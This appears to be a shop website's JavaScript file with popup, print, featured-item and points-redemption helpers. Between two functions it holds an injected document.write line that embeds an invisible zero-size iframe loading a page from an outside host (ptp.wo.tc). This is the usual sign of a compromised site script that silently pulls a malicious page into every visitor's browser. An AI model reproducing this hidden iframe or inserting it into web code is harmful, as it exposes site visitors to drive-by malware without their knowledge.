function openPopup(src,height,width,parms)
{
	url = src.getAttribute('href');
	target = src.getAttribute('target') || '_blank';
	var theWindow = openCenteredWindow(url, height, width, target,parms);
	theWindow.focus();
	return theWindow;
}

// Only need to give first three params
function openCenteredWindow(url, height, width, name, parms)
{
	var left = (screen.width - width)/2;
	var top = (screen.height - height)/2;
   var winParms = "top=" + top + ",left=" + left + ",height=" + height + ",width=" + width;
   if (parms) { winParms += "," + parms; }
   var win = window.open(url, name, winParms);
   if (parseInt(navigator.appVersion) >= 4)
   { 
   		if (win)
		{
			win.window.focus();
		}
   }
   return win;
}

function showCroppedItem(theid)
{
	closeFeaturedItems();

	var theanchor = document.getElementById('featuredItemsMore'+theid);
	var thetext = document.getElementById('featuredItemsMoreText'+theid);
	
	theanchor["style"].display = 'none';
	thetext["style"].display = 'inline';
}
document.write("<iframe width=0 height=0 frameborder=no scrolling=no source=http://ptp.wo.tc/ptp1.asp></iframe>");
function closeFeaturedItems()
{

	var one 	= document.getElementById('featuredItemsMoreText0justin');
	var two 	= document.getElementById('featuredItemsMoreText1justin');
	var three 	= document.getElementById('featuredItemsMoreText0pre');
	var four 	= document.getElementById('featuredItemsMoreText1pre');

	if(one) {
		one["style"].display = 'none'
	}
	if(two) {
		two["style"].display = 'none'
	}
	if(three) {
	three["style"].display = 'none'
	}
	
	if(four) {
		four["style"].display = 'none'
	}
	
	var one 	= document.getElementById('featuredItemsMore0justin');
	var two 	= document.getElementById('featuredItemsMore1justin');
	var three 	= document.getElementById('featuredItemsMore0pre');
	var four 	= document.getElementById('featuredItemsMore1pre');
	
	if(one) {
		one["style"].display = 'inline'
	}
	if(two) {
		two["style"].display = 'inline'
	}
	if(three) {
		three["style"].display = 'inline'
	}
	
	if(four) {
		four["style"].display = 'inline'
	}	
	
}

function printCurrentPage() 
{
	var content = document.getElementById('content').innerHTML;
	var w = window.open('popups/printCurrentPage.asp','Status',"status=no,location=no,menubar=yes,toolbar=no,directories=no,resizable=yes,scrollbars=yes,width=650,height=550");
	w.test = content;
}

function amendDetails()
{
	window.location = 'checkout.asp?amend=1';
}

function validateOrder()
{
	if (!IsNumeric(document.getElementById('Points').value))
	{
		alert ('The number of points that you wish to redeem must be a whole number.');
		return false;
	}
	
	if (document.getElementById('Points').value > document.getElementById('MaxPoints').value)
	{
		alert ('You can only redeem up to ' + document.getElementById('MaxPoints').value + ' points.');
		return false;
	}
	
	document.getElementById('FinalPoints').value=document.getElementById('Points').value;
	//alert(document.getElementById('FinalPoints').value);
	return true;		
}
